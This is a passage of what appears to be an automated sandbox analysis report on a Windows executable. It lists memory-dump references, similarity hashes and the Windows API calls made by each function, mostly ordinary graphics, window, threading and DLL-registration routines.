          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClipboardFormatRegister$LongMessageSendValueWindow
          • String ID: commdlg_ColorOK$commdlg_FileNameOK$commdlg_LBSelChangedNotify$commdlg_SetRGBColor$commdlg_ShareViolation$commdlg_help
          • API String ID: 3913284445-3888057576
          • Opcode ID: 933723dcf38d8f371848eb6de2ec0ae49ca20b9da345c4a09b83baaeb5ebffd5
          • Instruction ID: e18ed63bf14d83185dfbd11ca39d8f205a8e3e8adc13aa83220f5bda818f93aa
          • Opcode Fuzzy Hash: 933723dcf38d8f371848eb6de2ec0ae49ca20b9da345c4a09b83baaeb5ebffd5
          • Instruction Fuzzy Hash: 11418F71A00205AFCF25AF25DC45A7E3EA2EB94364F11443BF90A57261C7789C61CF9E
          APIs
            • Part of subcall function 00424D40: EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 00424D4F
          • SetStretchBltMode.GDI32(?,00000000), ref: 0042A654
          • CreateCompatibleDC.GDI32(?), ref: 0042A6D9
          • CreateCompatibleDC.GDI32(?), ref: 0042A6F1
          • GetObjectA.GDI32(?,00000018,?), ref: 0042A732
          • CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0042A748
          • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0042A7A6
          • StretchBlt.GDI32(?,000000FF,?,?,?,?,00000000,00000000,?,?,00660046), ref: 0042A7FF
          • StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,008800C6), ref: 0042A839
          • StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 0042A873
          • CreateCompatibleDC.GDI32(?), ref: 0042A8EB
          • SelectObject.GDI32(00000000,?), ref: 0042A8F8
          • StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 0042A93B
          • SelectObject.GDI32(00000000,?), ref: 0042A947
          • DeleteDC.GDI32(00000000), ref: 0042A94E
          • DrawIconEx.USER32(?,?,?,?,?,?,00000000,00000000,00000003), ref: 0042A98D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Stretch$Create$CompatibleObject$Select$BitmapDeleteDisplayDrawEnumIconModeSettings
          • String ID:
          • API String ID: 1298110373-0
          • Opcode ID: 0074573f994a366543f6a5cf12650fcf4d9cae44e8e9b6a302f6d97f19ed31d0
          • Instruction ID: 219f2a6af96ef478cfbdb733c8f1dfef0c08b535cdc7c09020e8b3ecab6e5fa7
          • Opcode Fuzzy Hash: 0074573f994a366543f6a5cf12650fcf4d9cae44e8e9b6a302f6d97f19ed31d0
          • Instruction Fuzzy Hash: 67B13871208701AFD710DB24DC85F6BBBE9EB89714F108A1DFAA587290DB34EC45CB66
          APIs
          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0044198B
          • CreateSemaphoreA.KERNEL32(00000000,00000014,00000014,00000000), ref: 004419A0
          • InitializeCriticalSection.KERNEL32(?), ref: 004419CB
          • CreateThread.KERNEL32(00000000,00000000,00441C00,?,00000004,?), ref: 00441A00
          • EnterCriticalSection.KERNEL32(004DBEB8), ref: 00441A12
          • LeaveCriticalSection.KERNEL32(004DBEB8,-000000FC,00000000,00000000), ref: 00441BC5
          • ResumeThread.KERNEL32(?), ref: 00441BD3
          • ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00441BE5
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateCriticalSection$SemaphoreThread$EnterEventInitializeLeaveReleaseResume
          • String ID: RIFF$WAVE$data$fmt
          • API String ID: 1802393137-4212202414
          • Opcode ID: f61fc57052d76992cd0bbf5cd5bd81cdf1d7c8b699f4ed24c318d0c40625dc03
          • Instruction ID: aea9da0b54cff3e24a2d054b505a141b2db550ff7916a2c91d307d9ce3eadfbd
          • Opcode Fuzzy Hash: f61fc57052d76992cd0bbf5cd5bd81cdf1d7c8b699f4ed24c318d0c40625dc03
          • Instruction Fuzzy Hash: 29B115756003009BE714DB24DC81B6B77D5FB88318F19462EFA46973A0E7B8ED41CB99
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 1f736578b1cc51ec0ef94afae95ac92a8f9cdf0ef45c402ba6c46b6b57ed5746
          • Instruction ID: 9af588876fb0fc70891b074558b2beb92b4b5310f29dafb32949f07cc77b54fd
          • Opcode Fuzzy Hash: 1f736578b1cc51ec0ef94afae95ac92a8f9cdf0ef45c402ba6c46b6b57ed5746
          • Instruction Fuzzy Hash: BDD15A706047009FD724DF28C885A6BB7E5EB48718F14893EE65AE7790D738EC41CB9A
          APIs
          • GetCapture.USER32 ref: 0043703E
          • SetCapture.USER32(?,?,?,?,?,?,?,?,?,0049F218,000000FF,0043687D,?,?,?,?), ref: 0043705B
            • Part of subcall function 0049871B: __EH_prolog.LIBCMT ref: 00498720
            • Part of subcall function 0049871B: GetDC.USER32(?), ref: 00498749
            • Part of subcall function 0044A850: GetWindowExtEx.GDI32(?,?), ref: 0044A873
            • Part of subcall function 00498649: GetWindowExtEx.GDI32(?,?), ref: 0049865A
            • Part of subcall function 00498649: GetViewportExtEx.GDI32(?,?), ref: 00498667
            • Part of subcall function 00498649: MulDiv.KERNEL32(?,00000000,00000000), ref: 0049868C
            • Part of subcall function 00498649: MulDiv.KERNEL32(?,00000000,00000000), ref: 004986A7
            • Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 004981F3
            • Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 00498201
            • Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498168
            • Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498176
            • Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049810C
            • Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049811A
            • Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
            • Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
          • GetCapture.USER32 ref: 00437121
          • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00437140
          • DispatchMessageA.USER32(?), ref: 00437181
          • DispatchMessageA.USER32(?), ref: 0043719D
          • ScreenToClient.USER32(?,?), ref: 004371E4
          • GetCapture.USER32 ref: 0043720C
          • ReleaseCapture.USER32 ref: 00437234
          • ReleaseCapture.USER32 ref: 00437290
          • DPtoLP.GDI32 ref: 004372D4
          • InvalidateRect.USER32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,?,?), ref: 0043735D
          • InvalidateRect.USER32(?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004373EB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Capture$Mode$Message$DispatchH_prologInvalidateObjectRectReleaseSelectWindow$ClientCreateScreenViewport
          • String ID:
          • API String ID: 453157188-0
          • Opcode ID: beb8d0d7902f4b7adc0b372e59e94dd0f5e44317eb5a6317adda381f8c8c7721
          • Instruction ID: a53e230847c0ca62f508c75ca7a5d83b487ac2186746ba7898fa1eebeb054e39
          • Opcode Fuzzy Hash: beb8d0d7902f4b7adc0b372e59e94dd0f5e44317eb5a6317adda381f8c8c7721
          • Instruction Fuzzy Hash: AFB1BBB1208740AFD724DB65CC45E6FB7E9BF89704F10491EF592832A1DB38E905CB5A
          APIs
          • IsChild.USER32(?,?), ref: 00420F88
          • GetParent.USER32(?), ref: 00421019
          • IsWindow.USER32(?), ref: 0042114B
          • IsWindowVisible.USER32(?), ref: 0042115D
            • Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160
          • GetParent.USER32(?), ref: 004211AE
          • IsChild.USER32(?,?), ref: 004211CE
          • GetParent.USER32(?), ref: 00421377
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00421394
          • IsWindow.USER32(?), ref: 004213EF
            • Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
            • Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ParentWindow$Child$EnabledMessageSendVisible
          • String ID: LdJ$hcJ
          • API String ID: 2452671399-783089612
          • Opcode ID: 6a6fc96eaa2f31d36d544a278fc3d0899812fe36d6a75eb86f7d6ee481505888
          • Instruction ID: 19d4d083b71b1260b015507b4ea71c3ddde8ab2faf0968574aeaf38830a22272
          • Opcode Fuzzy Hash: 6a6fc96eaa2f31d36d544a278fc3d0899812fe36d6a75eb86f7d6ee481505888
          • Instruction Fuzzy Hash: B6E1F4716043619FC724DF61D880B6BB7E4BF95704F404A2EF986973A1D738E805CBAA
          APIs
          • LoadLibraryA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B524
          • LoadLibraryA.KERNEL32(?,00000000,00000000,00000000,?,?,004BBCDC,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B561
          • GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 0041B597
          • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B5A2
          • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B5B0
          • LoadTypeLib.OLEAUT32(00000000,00000000), ref: 0041B6BD
          • RegisterTypeLib.OLEAUT32(00000000,00000000), ref: 0041B6F2
          • CLSIDFromString.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,004DB418,00000000), ref: 0041B7B7
          • UnRegisterTypeLib.OLEAUT32(?,00000000,00000000,00000000,00000001), ref: 0041B7D3
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Library$LoadType$FreeRegister$AddressFromProcString
          • String ID: DllRegisterServer$DllUnregisterServer
          • API String ID: 2476498075-2931954178
          • Opcode ID: 9b4e7afd575d6f544a66f6c9bb7fa78a11de913cb974d41840f492840d8dec19
          • Instruction ID: 5406f397f0f013beafb45ccdeeb48aa66d431c6d5eadeb01410dbb254db35a3f
          • Opcode Fuzzy Hash: 9b4e7afd575d6f544a66f6c9bb7fa78a11de913cb974d41840f492840d8dec19
          • Instruction Fuzzy Hash: 7AB1E67590020AABDF10DFA5C845FEEB778EF44318F10862EF815A7291DB389E45CBA5
          APIs
          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,?), ref: 00412978
          • lstrcatA.KERNEL32(?,\shell\open\command,80000000,.htm,?,?,?,?), ref: 004129B7
          • lstrlenA.KERNEL32(?), ref: 00412A0C
          • lstrcatA.KERNEL32(00000000,004BBCF0), ref: 00412A55
          • lstrcatA.KERNEL32(00000000,?), ref: 00412A5D
          • WinExec.KERNEL32(?,?), ref: 00412A65
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: lstrcat$DecrementExecExecuteInterlockedShelllstrlen
          • String ID: "%1"$.htm$\shell\open\command$mailto:$open
          • API String ID: 51986957-2182632014
          • Opcode ID: ffa9534ece77c65c3e278d2910b8313507f44036c2fd3d9d36ac72155c92a6c3
          • Instruction ID: 4f3c4e073c6db9cbe9a02424425cdee892516fb2d2cc87f0076aa2efdf2d8974
          • Opcode Fuzzy Hash: ffa9534ece77c65c3e278d2910b8313507f44036c2fd3d9d36ac72155c92a6c3
          • Instruction Fuzzy Hash: D041E572244743AFC720DB15DD40FEBB7E8EF84750F104A1EF95593290E7B8A94487AA
          APIs
          • InflateRect.USER32(?,?,?), ref: 004298A6
            • Part of subcall function 004295D0: SetRect.USER32(?,00000000,00000032,00000032,?), ref: 004296B9
            • Part of subcall function 004295D0: OffsetRect.USER32(?,?,?), ref: 004296C6
            • Part of subcall function 004295D0: IntersectRect.USER32(?,?,?), ref: 004296E2
            • Part of subcall function 004295D0: IsRectEmpty.USER32(?), ref: 004296ED
          • InflateRect.USER32(?,?,?), ref: 00429919
          • CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00429B1D
          • GetClipRgn.GDI32(?,00000000), ref: 00429B2C
          • CreatePolygonRgn.GDI32 ref: 00429BAA
          • SelectClipRgn.GDI32(?,?), ref: 00429C8D
          • CreatePolygonRgn.GDI32(?,00000005,00000002), ref: 00429CB0
          • SelectClipRgn.GDI32(?,?), ref: 00429D31
          • DeleteObject.GDI32(?), ref: 00429D47
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$ClipCreate$InflatePolygonSelect$DeleteEmptyIntersectObjectOffset
          • String ID: gfff
          • API String ID: 1105800552-1553575800
          • Opcode ID: 6e069ad32961d296e61852fa55a45b7a29f0bb76203db9ff7d26eb39726842d3
          • Instruction ID: f7091b7fc561edcd62bfdec1654e89d74b9d8fe9c5f2344dc12cf9858ce72214
          • Opcode Fuzzy Hash: 6e069ad32961d296e61852fa55a45b7a29f0bb76203db9ff7d26eb39726842d3
          • Instruction Fuzzy Hash: 54F148B16083419FC324CF29D480B6BFBE5BBC9314F548A2EF98987391DB74A845CB56
          APIs
            • Part of subcall function 0042A200: CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042A28C
            • Part of subcall function 0042A200: CreateCompatibleDC.GDI32(?), ref: 0042A29E
            • Part of subcall function 0042A200: CreateCompatibleDC.GDI32(?), ref: 0042A2A7
            • Part of subcall function 0042A200: SelectObject.GDI32(00000000,?), ref: 0042A2B6
            • Part of subcall function 0042A200: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042A2C9
            • Part of subcall function 0042A200: SelectObject.GDI32(?,00000000), ref: 0042A2D9
            • Part of subcall function 0042A200: BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0042A2F9
            • Part of subcall function 0042A200: SelectObject.GDI32(00000000,?), ref: 0042A305
            • Part of subcall function 0042A200: DeleteDC.GDI32(00000000), ref: 0042A312
            • Part of subcall function 0042A200: SelectObject.GDI32(?,?), ref: 0042A31A
            • Part of subcall function 0042A200: DeleteDC.GDI32(?), ref: 0042A321
          • __ftol.LIBCMT ref: 0040F745
          • __ftol.LIBCMT ref: 0040F752
          • CreateRectRgn.GDI32(00000000,?,00000000,?), ref: 0040F7C4
          • CombineRgn.GDI32(?,?,8\J,00000004), ref: 0040F7EA
          • SetRect.USER32(?,00000000,?,?,?), ref: 0040F836
          • IntersectRect.USER32(?,?,?), ref: 0040F84E
          • IsRectEmpty.USER32(?), ref: 0040F879
          • CreateRectRgn.GDI32(00000000,?,?,00000000), ref: 0040F91E
          • CombineRgn.GDI32(?,?,8\J,00000004), ref: 0040F944
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Create$Rect$ObjectSelect$Compatible$BitmapCombineDelete__ftol$EmptyIntersect
          • String ID: 8\J
          • API String ID: 909876544-1430181868
          • Opcode ID: 50f24961c2aea5426d1b514b2710b14a5caa40f3e338bd71aba2b11c915a822c
          • Instruction ID: 9151dd104e1fb3f56ac6108907f1005620d65da22a5aa8d8784fcf3f6196d91d
